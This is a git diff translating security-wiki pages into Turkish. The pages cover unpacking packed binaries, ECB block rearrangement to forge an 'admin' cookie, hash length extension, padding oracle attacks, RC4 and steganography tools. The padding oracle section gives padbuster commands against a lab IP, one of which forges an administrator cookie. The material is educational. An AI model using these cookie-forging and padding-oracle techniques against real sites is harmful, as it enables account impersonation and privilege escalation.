Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it. -- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved. - - **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here). -- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting. -- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory). -- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\ - However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. -- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). +- Paketlenmiş ikiliyi **IDA'da alttan başlayarak analiz etmeye** **başlayın** ve yukarı doğru ilerleyin. Paket açıcılar, açılmış kod çıkınca çıkar, bu nedenle paket açıcının başlangıçta açılmış koda yürütme geçirmesi olası değildir. +- **Kayıtlar** veya **bellek** **bölgelerine** **JMP** veya **CALL** arayın. Ayrıca, **argümanlar ve bir adres yönlendirmesi iten fonksiyonlar arayın ve ardından `retn` çağırın**, çünkü bu durumda fonksiyonun dönüşü, yığına itilen adresi çağırabilir. +- `VirtualAlloc` üzerinde bir **kesme noktası** koyun, çünkü bu, programın açılmış kod yazabileceği bellek alanı ayırır. "Kullanıcı koduna çalıştır" veya F8 kullanarak **fonksiyonu çalıştırdıktan sonra EAX içindeki değere ulaşın** ve "**dump'taki o adresi takip edin**". Açılmış kodun kaydedileceği bölge olup olmadığını asla bilemezsiniz. +- **`VirtualAlloc`** ile "**40**" değeri bir argüman olarak, Okuma+Yazma+Çalıştırma anlamına gelir (çalıştırılması gereken bazı kod burada kopyalanacak). +- **Kod açma** sırasında **birçok çağrı** ile **aritmetik işlemler** ve **`memcopy`** veya **`Virtual`**`Alloc` gibi fonksiyonlar bulmak normaldir. Eğer yalnızca aritmetik işlemler gerçekleştiren ve belki de bazı `memcopy` yapan bir fonksiyonda iseniz, öneri **fonksiyonun sonunu bulmaya çalışmaktır** (belki bir JMP veya bazı kayıtlarla çağrı) **veya** en azından **son fonksiyona yapılan çağrıya kadar ilerleyin** çünkü kod ilginç değildir. +- Kod açma sırasında **bellek bölgesini değiştirdiğinizde** not alın, çünkü bir bellek bölgesi değişikliği **açma kodunun başlangıcını** gösterebilir. Process Hacker kullanarak bir bellek bölgesini kolayca dökebilirsiniz (işlem --> özellikler --> bellek). +- Kod açmaya çalışırken, **açılmış kodla çalışıp çalışmadığınızı bilmenin** iyi bir yolu, **ikilinin stringlerini kontrol etmektir**. Eğer bir noktada bir atlama yaparsanız (belki bellek bölgesini değiştirerek) ve **çok daha fazla string eklendiğini** fark ederseniz, o zaman **açılmış kodla çalıştığınızı** bilebilirsiniz.\ +Ancak, eğer paketleyici zaten birçok string içeriyorsa, "http" kelimesini içeren string sayısını görebilir ve bu sayının artıp artmadığını kontrol edebilirsiniz. +- Bir bellek bölgesinden bir yürütülebilir dosyayı dökerken, bazı başlıkları [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) kullanarak düzeltebilirsiniz. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/electronic-code-book-ecb.md b/src/crypto-and-stego/electronic-code-book-ecb.md index a09798b1e..445cb84b0 100644 --- a/src/crypto-and-stego/electronic-code-book-ecb.md +++ b/src/crypto-and-stego/electronic-code-book-ecb.md @@ -2,72 +2,66 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Elektronik Kod Kitabı - her **açık metin bloğunu** **şifreli metin bloğu ile** **değiştiren** simetrik şifreleme şemasıdır. En **basit** şifreleme şemasını temsil eder. Ana fikir, açık metni **N bitlik bloklara** (girdi verisinin blok boyutuna, şifreleme algoritmasına bağlıdır) **bölmek** ve ardından her açık metin bloğunu yalnızca bir anahtar kullanarak şifrelemektir (şifre çözmektir). ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +ECB kullanmanın birçok güvenlik etkisi vardır: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **Şifreli mesajdan bloklar çıkarılabilir** +- **Şifreli mesajdan bloklar yer değiştirebilir** -# Detection of the vulnerability +# Açığın Tespiti -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Bir uygulamaya birkaç kez giriş yaptığınızı ve **her zaman aynı çerezi** aldığınızı hayal edin. Bu, uygulamanın çerezinin **`|<şifre>`** olmasındandır.\ +Sonra, her ikisi de **aynı uzun şifreye** ve **neredeyse** **aynı** **kullanıcı adına** sahip iki yeni kullanıcı oluşturursunuz.\ +Her iki kullanıcının **bilgilerinin** aynı olduğu **8B'lik blokların** **eşit** olduğunu keşfedersiniz. Sonra, bunun **ECB'nin kullanılıyor olabileceği** nedeniyle olabileceğini hayal edersiniz. +Aşağıdaki örnekte olduğu gibi. Bu **2 çözülmüş çerezin** nasıl birkaç kez **`\x23U\xE45K\xCB\x21\xC8`** bloğunu içerdiğine dikkat edin. ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +Bu, **bu çerezlerin kullanıcı adı ve şifresinin birkaç kez "a" harfini içermesinden kaynaklanmaktadır** (örneğin). **Farklı** olan **bloklar**, **en az 1 farklı karakter** içeren bloklardır (belki ayırıcı "|" veya kullanıcı adındaki bazı gerekli farklılık). -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +Şimdi, saldırganın formatın `` mi yoksa `` mi olduğunu keşfetmesi gerekiyor. Bunu yapmak için, sadece **benzer ve uzun kullanıcı adları ve şifreler ile birkaç kullanıcı adı oluşturabilir** ve formatı ve ayırıcının uzunluğunu bulana kadar devam edebilir: -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| Kullanıcı adı uzunluğu: | Şifre uzunluğu: | Kullanıcı adı+Şifre uzunluğu: | Çerezin uzunluğu (çözüldükten sonra): | +| ----------------------- | ---------------- | ------------------------------ | ------------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# Açığın Sömürülmesi -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## Tüm blokların kaldırılması +Çerezin formatını bilerek (`|`), `admin` kullanıcı adını taklit etmek için `aaaaaaaaadmin` adında yeni bir kullanıcı oluşturun ve çerezi alın ve çözün: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +Önceden yalnızca `a` içeren kullanıcı adıyla oluşturulan `\x23U\xE45K\xCB\x21\xC8` desenini görebiliriz.\ +Ardından, 8B'lik ilk bloğu kaldırabilir ve `admin` kullanıcı adı için geçerli bir çerez elde edersiniz: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## Blokları Taşıma -## Moving blocks +Birçok veritabanında `WHERE username='admin';` veya `WHERE username='admin ';` aramak aynı şeydir _(Ekstra boşluklara dikkat edin)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +Bu nedenle, `admin` kullanıcısını taklit etmenin başka bir yolu: -So, another way to impersonate the user `admin` would be to: +- `len() + len(` parçası 2 adet 8B blok oluşturacaktır. +- Ardından, taklit etmek istediğimiz kullanıcı adını ve boşlukları içeren tam sayıda blok dolduracak bir şifre oluşturmak, örneğin: `admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +Bu kullanıcının çerezi 3 bloktan oluşacak: ilk 2 blok kullanıcı adı + ayırıcı blokları ve üçüncü blok şifre (kullanıcı adını taklit eden): `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**Sonra, sadece ilk bloğu son blokla değiştirin ve `admin` kullanıcısını taklit etmiş olacaksınız: `admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## Referanslar - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 2faf6564f..9f67521d2 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -1,18 +1,16 @@ -# Esoteric languages +# Esoterik diller {{#include ../banners/hacktricks-training.md}} ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -Check that wiki to search more esotreic languages +Daha fazla esoterik dil aramak için o wikiye göz atın ## Malbolge - ``` ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= ``` - [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) ## npiet @@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) ## Rockstar - ``` Midnight takes your heart and your soul While your heart is as high as your soul @@ -51,11 +48,9 @@ Take it to the top Whisper my world ``` - {% embed url="https://codewithrockstar.com/" %} ## PETOOH - ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO Kukarek ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 51a38df3f..a013caaf7 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -2,37 +2,37 @@ {{#include ../banners/hacktricks-training.md}} -## Summary of the attack +## Saldırının Özeti -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +Bir sunucunun bazı bilinen düz metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hash'lediğini düşünün. Eğer şunları biliyorsanız: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **Gizlinin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir) +- **Düz metin verisi** +- **Algoritma (ve bu saldırıya karşı savunmasız)** +- **Padding biliniyor** +- Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında, bu da geçerlidir +- Padding, gizli+veri uzunluğuna bağlı olarak değişir, bu yüzden gizlinin uzunluğu gereklidir -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +O zaman, bir **saldırgan** **veri ekleyip** **önceki veri + eklenen veri** için geçerli bir **imza** **üretebilir**. -### How? +### Nasıl? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hash'leyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hash'ler**. -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +O zaman, gizli "secret" ve veri "data" ise, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b.\ +Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- 64 "A"nın MD5'ini oluştur +- Önceden başlatılmış hash'in durumunu 6036708eba0d11f6ef52ad44e8b74d5b olarak değiştir +- "append" dizesini ekle +- Hash'i tamamla ve sonuçta elde edilen hash, **"secret" + "data" + "padding" + "append"** için geçerli bir hash olacaktır -### **Tool** +### **Araç** {% embed url="https://github.com/iagox86/hash_extender" %} -### References +### Referanslar -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +Bu saldırıyı iyi bir şekilde açıklanmış olarak [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde bulabilirsiniz. {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/padding-oracle-priv.md b/src/crypto-and-stego/padding-oracle-priv.md index 96d3145a3..a4885f67c 100644 --- a/src/crypto-and-stego/padding-oracle-priv.md +++ b/src/crypto-and-stego/padding-oracle-priv.md @@ -2,26 +2,24 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} - ## CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +CBC modunda **önceki şifrelenmiş blok IV olarak kullanılır** ve bir sonraki blokla XOR yapılır: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +CBC'yi deşifrelemek için **ters** **işlemler** yapılır: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +Bir **şifreleme** **anahtarı** ve bir **IV** kullanmanın gerekli olduğunu unutmayın. -## Message Padding +## Mesaj Doldurma -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +Şifreleme **sabit** **boyut** **blokları** içinde gerçekleştirildiğinden, **son** **blokta** uzunluğunu tamamlamak için genellikle **doldurma** gereklidir.\ +Genellikle **PKCS7** kullanılır, bu da bloğu tamamlamak için **gerekli** **bayt** **sayısını** **tekrarlayarak** bir doldurma oluşturur. Örneğin, son blokta 3 bayt eksikse, doldurma `\x03\x03\x03` olacaktır. -Let's look at more examples with a **2 blocks of length 8bytes**: +**8 bayt uzunluğunda 2 blok** ile daha fazla örneğe bakalım: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +Son örnekte **son bloğun dolu olduğunu ve sadece doldurma ile yeni bir bloğun oluşturulduğunu** unutmayın. ## Padding Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +Bir uygulama şifrelenmiş verileri deşifre ettiğinde, önce verileri deşifre eder; ardından doldurmayı kaldırır. Doldurmanın temizlenmesi sırasında, eğer **geçersiz bir doldurma tespit edilebilir bir davranış tetiklerse**, bir **padding oracle zafiyeti** vardır. Tespit edilebilir davranış bir **hata**, **sonuç eksikliği** veya **daha yavaş bir yanıt** olabilir. -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +Bu davranışı tespit ederseniz, **şifrelenmiş verileri deşifre edebilir** ve hatta **herhangi bir açık metni şifreleyebilirsiniz**. -### How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +### Nasıl istismar edilir +Bu tür bir zafiyeti istismar etmek için [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kullanabilir veya sadece yapabilirsiniz. ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +Bir sitenin çerezinin savunmasız olup olmadığını test etmek için şunları deneyebilirsiniz: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Encoding 0** demek **base64** kullanıldığı anlamına gelir (ancak diğerleri de mevcuttur, yardım menüsüne bakın). -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +Bu zafiyeti **yeni verileri şifrelemek için de kötüye kullanabilirsiniz. Örneğin, çerezin içeriği "**_**user=MyUsername**_**" ise, bunu "\_user=administrator\_" olarak değiştirebilir ve uygulama içinde yetkileri artırabilirsiniz. Bunu `paduster` kullanarak -plaintext** parametresini belirterek de yapabilirsiniz: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +Eğer site savunmasızsa `padbuster` otomatik olarak padding hatasının ne zaman meydana geldiğini bulmaya çalışacaktır, ancak hata mesajını **-error** parametresi ile de belirtebilirsiniz. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +### Teori -### The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +**Özetle**, tüm **farklı padding'leri** oluşturmak için kullanılabilecek doğru değerleri tahmin ederek şifrelenmiş verileri çözmeye başlayabilirsiniz. Ardından, padding oracle saldırısı, 1, 2, 3, vb. **padding'leri oluşturan** doğru değerin ne olacağını tahmin ederek son byte'dan başlayarak byte'ları çözmeye başlayacaktır. ![](<../images/image (561).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +Şimdi, **E0'dan E15'e** kadar olan byte'lardan oluşan **2 blok** kaplayan bazı şifrelenmiş metinleriniz olduğunu hayal edin.\ +**Son** **bloğu** (**E8**'den **E15**'e) **şifrelemek** için, tüm blok "blok şifre çözme" işleminden geçerek **I0'dan I15'e** kadar olan **ara byte'ları** üretir.\ +Son olarak, her ara byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **XOR'lanır**. Yani: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +Artık **`E7`'yi `C15`'in `0x01`** olana kadar **değiştirmek** mümkündür, bu da doğru bir padding olacaktır. Yani, bu durumda: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +E'7'yi bulduğumuzda, **I15'i hesaplamak** mümkündür: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +Bu da **C15'i hesaplamamıza** olanak tanır: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +**C15**'i bildiğimizde, şimdi **C14'ü hesaplamak** mümkündür, ancak bu sefer padding'i `\x02\x02` ile brute-force yaparak. -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +Bu BF, `E''15` değerinin 0x02 olduğu hesaplanabildiği için önceki kadar karmaşıktır: `E''7 = \x02 ^ I15`, bu nedenle sadece **`E'14`**'ü bulmak gerekir ki bu da **`C14`'ün `0x02`** eşit olmasını sağlar.\ +Ardından, C14'ü çözmek için aynı adımları izleyin: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**Tüm şifrelenmiş metni çözene kadar bu zinciri takip edin.** -### Detection of the vulnerability +### Açığın Tespiti -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +Bir hesap kaydedin ve bu hesapla giriş yapın.\ +Eğer **birçok kez giriş yaparsanız** ve her seferinde **aynı çerezi** alıyorsanız, uygulamada muhtemelen **bir sorun** vardır. **Geri gönderilen çerez her seferinde benzersiz olmalıdır.** Eğer çerez **her zaman** **aynıysa**, muhtemelen her zaman geçerli olacaktır ve onu **geçersiz kılmanın** bir yolu olmayacaktır. -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +Artık çerezi **değiştirmeye** çalıştığınızda, uygulamadan bir **hata** aldığınızı görebilirsiniz.\ +Ancak padding'i BF yaparsanız (örneğin padbuster kullanarak) farklı bir kullanıcı için geçerli başka bir çerez elde etmeyi başarırsınız. Bu senaryo, padbuster'a karşı yüksek ihtimalle savunmasızdır. -### References +### Referanslar - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index dc89fa296..1e8531d1d 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, o RC4 ile şifrelenmiş herhangi bir içeriği (aynı şifreyi kullanarak) sadece şifreleme fonksiyonunu kullanarak çözebilirsiniz. -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +Eğer bilinen bir düz metni şifreleyebiliyorsanız, şifreyi de çıkarabilirsiniz. Daha fazla referans HTB Kryptos makinesinde bulunabilir: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/crypto-and-stego/stego-tricks.md b/src/crypto-and-stego/stego-tricks.md index 91ed86406..55e751125 100644 --- a/src/crypto-and-stego/stego-tricks.md +++ b/src/crypto-and-stego/stego-tricks.md @@ -2,50 +2,41 @@ {{#include ../banners/hacktricks-training.md}} -## **Extracting Data from Files** +## **Dosyalardan Veri Çıkarma** ### **Binwalk** -A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk). - +Gömülü gizli dosyaları ve verileri aramak için kullanılan bir araçtır. `apt` ile kurulur ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta mevcuttur. ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` - ### **Foremost** -Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost). - +Başlıkları ve alt başlıkları temel alarak dosyaları kurtarır, png görüntüleri için faydalıdır. `apt` ile kurulur, kaynağı [GitHub](https://github.com/korczis/foremost) üzerindedir. ```bash foremost -i file # Extracts data ``` - ### **Exiftool** -Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). - +Dosya meta verilerini görüntülemeye yardımcı olur, [burada](https://www.sno.phy.queensu.ca/~phil/exiftool/) mevcuttur. ```bash exiftool file # Shows the metadata ``` - ### **Exiv2** -Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/). - +Exiftool'e benzer, meta verileri görüntüleme için. `apt` ile kurulabilir, kaynağı [GitHub](https://github.com/Exiv2/exiv2)'da bulunmaktadır ve bir [resmi web sitesi](http://www.exiv2.org/) vardır. ```bash exiv2 file # Shows the metadata ``` +### **Dosya** -### **File** +İşlemekte olduğunuz dosya türünü belirleyin. -Identify the type of file you're dealing with. - -### **Strings** - -Extracts readable strings from files, using various encoding settings to filter the output. +### **Dizeler** +Çıktıyı filtrelemek için çeşitli kodlama ayarları kullanarak dosyalardan okunabilir dizeleri çıkarır. ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian) strings -e L -n 6 file # 32bit strings (little-endian) strings -e B -n 6 file # 32bit strings (big-endian) ``` +### **Karşılaştırma (cmp)** -### **Comparison (cmp)** - -Useful for comparing a modified file with its original version found online. - +Çevrimiçi bulunan orijinal versiyonla değiştirilmiş bir dosyayı karşılaştırmak için kullanışlıdır. ```bash cmp original.jpg stego.jpg -b -l ``` +## **Metin İçindeki Gizli Verilerin Çıkarılması** -## **Extracting Hidden Data in Text** +### **Boşluklardaki Gizli Veriler** -### **Hidden Data in Spaces** +Görünüşte boş alanlardaki görünmez karakterler bilgi saklayabilir. Bu verileri çıkarmak için [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) adresini ziyaret edin. -Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). +## **Görüntülerden Veri Çıkarma** -## **Extracting Data from Images** - -### **Identifying Image Details with GraphicMagick** - -[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and 